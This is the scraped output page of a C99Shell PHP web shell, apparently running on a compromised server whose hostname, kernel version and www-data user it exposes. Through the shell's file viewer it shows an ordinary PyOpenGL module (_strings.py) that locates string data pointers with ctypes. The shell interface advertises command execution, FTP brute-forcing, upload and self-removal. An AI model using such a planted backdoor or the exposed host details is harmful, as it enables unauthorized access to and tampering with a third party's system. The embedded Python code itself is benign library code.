!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/pyshared/OpenGL/arrays/   drwxr-xr-x
Free 130 GB of 142.11 GB (91.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     _strings.py (2.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"""Run-time calculation of offset into Python string structure

Does a scan to find the digits of pi in a string structure
in order to produce an offset that can be used to produce 
data-pointers from Python strings.

Porting note:
    
    Currently this uses id( str a ) to get the base address
    of the Python string.  Python implementations where id( a )
    is *not* the memory address of the string will not work!
"""
import ctypes
PI_DIGITS = '31415926535897931'

def calculateOffset( ):
    """Calculates the data-pointer offset for strings
    
    This does a sequential scan for 100 bytes from the id
    of a string to find special data-value stored in the
    string (the digits of PI).  It produces a dataPointer
    function which adds that offset to the id of the 
    passed strings.
    """
    finalOffset = None
    a = PI_DIGITS
    # XXX NOT portable across Python implmentations!!!
    initial = id(a)
    targetType = ctypes.POINTER( ctypes.c_char )
    for offset in range( 100 ):
        vector = ctypes.cast( initial+offset,targetType )
        allMatched = True
        for index,digit in enumerate( a ):
            if vector[index] != digit:
                allMatched = False
                break
        if allMatched:
            finalOffset = offset
            break
    if finalOffset is not None:
        def dataPointer( data ):
            """Return the data-pointer from the array using calculated offset
            
            data -- a Python string
            
            Returns the raw data-pointer to the internal buffer of the passed string
            """
            if not isinstance( data, str ):
                raise TypeError(
                    """This function can only handle Python strings!  Got %s"""%(
                        type(data),
                    )
                )
            return id(data) + finalOffset
        # just for later reference...
        dataPointer.offset = finalOffset 
        return dataPointer
    raise RuntimeError(
        """Unable to determine dataPointer offset for strings!"""
    )

dataPointer = calculateOffset()

if __name__ == "__main__":
    a  = 'this'
    print id(a), dataPointer( a ), dataPointer(a) - id(a)
    

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0085 ]--